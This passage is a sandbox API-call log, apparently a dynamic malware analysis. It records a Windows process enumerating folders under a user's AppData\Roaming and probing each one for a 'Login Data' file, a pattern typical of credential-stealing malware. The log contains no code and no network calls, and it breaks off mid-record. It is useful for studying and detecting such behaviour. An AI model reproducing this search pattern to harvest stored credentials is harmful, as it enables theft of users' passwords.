lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0199.407] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0199.408] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x38d01442, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x11920, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0199.408] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0199.408] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0199.408] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0199.408] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0199.408] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0199.408] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0199.408] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x28ceee31, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x28ceee31, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0199.409] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0199.409] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0199.409] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0199.409] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0199.409] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedf8 | out: lpFindFileData=0x12fedf8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0199.409] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0199.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff080) returned 1 [0199.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff08c) returned 1 [0199.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.410] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x12feb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0199.410] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Login Data", lpFindFileData=0x12fede4 | out: lpFindFileData=0x12fede4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.411] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b238 [0199.412] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.412] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0199.413] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0199.413] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0199.413] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0199.413] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0199.413] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0199.413] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 0 [0199.414] FindClose (in: hFindFile=0x139b238 | out: hFindFile=0x139b238) returned 1 [0199.414] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.416] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0199.417] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.418] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0199.418] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0199.418] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0199.418] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.419] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.419] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.419] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0199.419] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0199.419] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0199.420] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0199.420] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0199.420] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0199.420] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.420] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0199.421] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.421] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.421] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0199.421] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.421] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0199.422] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.422] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, 